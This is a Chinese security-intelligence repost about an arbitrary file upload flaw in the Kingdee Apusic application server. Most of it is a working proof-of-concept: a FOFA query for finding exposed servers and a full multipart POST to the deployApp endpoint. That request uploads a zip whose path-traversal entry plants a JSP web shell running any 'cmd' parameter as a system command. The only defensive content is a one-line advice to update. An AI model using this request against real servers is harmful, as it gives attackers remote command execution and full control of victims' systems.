安全情报,X蝶 Apusic 应用服务器任意文件上传漏洞!!!

admin 2023年12月1日21:48:58评论31 views字数 2352阅读7分50秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!

漏洞介绍

金蝶 Apusic 应用服务器存在一个任意文件上传漏洞,攻击者可以通过构造恶意请求上传恶意文件到服务器,导致服务器失陷。

影响版本

金蝶 Apusic 应用服务器

漏洞情报

fofa语句

fofa:app="Apusic应用服务器"  fid="rqhtFwF4sIF7wTOroKTQGw=="

Poc

POST /admin//protect/application/deployApp HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Host: Accept-Encoding: gzipContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Length: 2049
------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="appName"
444------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="deployInServer"
false------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="clientFile"; filename="evi1.zip"Content-Type: application/x-zip-compressed
{{unquote("PKx03x04x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00../../../../applications/default/public_html/shell5.jsp<%x0dx0a if x28"admin".equalsx28request.getParameterx28"pwd"x29x29x29 x7bx0dx0a java.io.InputStream input = Runtime.getRuntimex28x29.execx28request.getParameterx28"cmd"x29x29.getInputStreamx28x29;x0dx0a int len = -1;x0dx0a byte[] bytes = new byte[4092];x0dx0a while x28x28len = input.readx28bytesx29x29 != -1x29 x7bx0dx0a out.printlnx28new Stringx28bytes, "GBK"x29x29;x0dx0a x7dx0dx0a x7dx0dx0a%>PKx01x02x14x03x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00x00x00x00x00x00x00x00x00xb4x81x00x00x00x00../../../../applications/default/public_html/shell5.jspPKx05x06x00x00x00x00x01x00x01x00ex00x00x00xb9x01x00x00x00x00")}}------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="archivePath"

------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="baseContext"

------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="startType"
auto------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="loadon"

------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="virtualHost"

------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="allowHosts"

------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="denyHosts"

------WebKitFormBoundaryd9acIBdVuqKWDJbd--

修复建议

建议及时更新至最新版本!

关注我们

原文始发于微信公众号(极星信安):安全情报,X蝶 Apusic 应用服务器任意文件上传漏洞!!!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月1日21:48:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全情报,X蝶 Apusic 应用服务器任意文件上传漏洞!!!http://cn-sec.com/archives/2259026.html

发表评论

匿名网友 填写信息